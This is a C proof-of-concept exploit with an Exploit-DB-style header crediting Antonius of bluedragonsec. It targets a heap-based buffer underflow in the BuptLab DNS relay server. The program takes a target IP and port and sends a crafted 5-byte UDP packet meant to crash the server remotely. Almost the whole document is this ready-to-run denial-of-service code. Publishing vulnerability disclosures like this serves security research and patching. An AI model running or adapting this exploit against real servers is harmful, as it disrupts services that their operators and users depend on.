/*
# Exploit Title: BuptLab dns relay server remote denial of service
# Vendor Homepage: https://blog.agicy.cn/ 
# Software Link: https://github.com/agicy/buptLab-dns_relay_server
# Version: 1.0
# Tested on: CentOS Stream 9
# Google Dork: N/A
# Date: 2026-03-06
# Exploit Author: Antonius 
# Web : www.bluedragonsec.com 
# Github : https://github.com/bluedragonsecurity
# Description:
This is proof of concept exploit for rempote heap based buffer underflow at BuptLab dns relay server.
BuptLab dns relay server is a dns relay server developed by Agicy from Beijing University.
Vulnerability discovered by : Antonius 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    int sock;
    struct sockaddr_in server;
    unsigned char packet[] = {0xa7, 0x7e, 0x00, 0x14, 0xa6}; 

    if (argc < 3) {
        printf("[*] usage : ./exploit <target ip> <port number>");
        exit(-1);
    }
    char *ip = argv[1];
    int port = atoi(argv[2]);
    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("[-] failed to create socket");
        exit(-1);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    inet_pton(AF_INET, ip, &server.sin_addr);
    ssize_t sent = sendto(sock, packet, 5, 0, (const struct sockaddr *)&server, sizeof(server));
    
    if (sent < 0) {
        perror("[-] Sendto failed");
    } else {
        printf("[+] Successfully sent %zd bytes to %s:%d\n", sent, ip, port);
    }

    close(sock);

    return 0;
}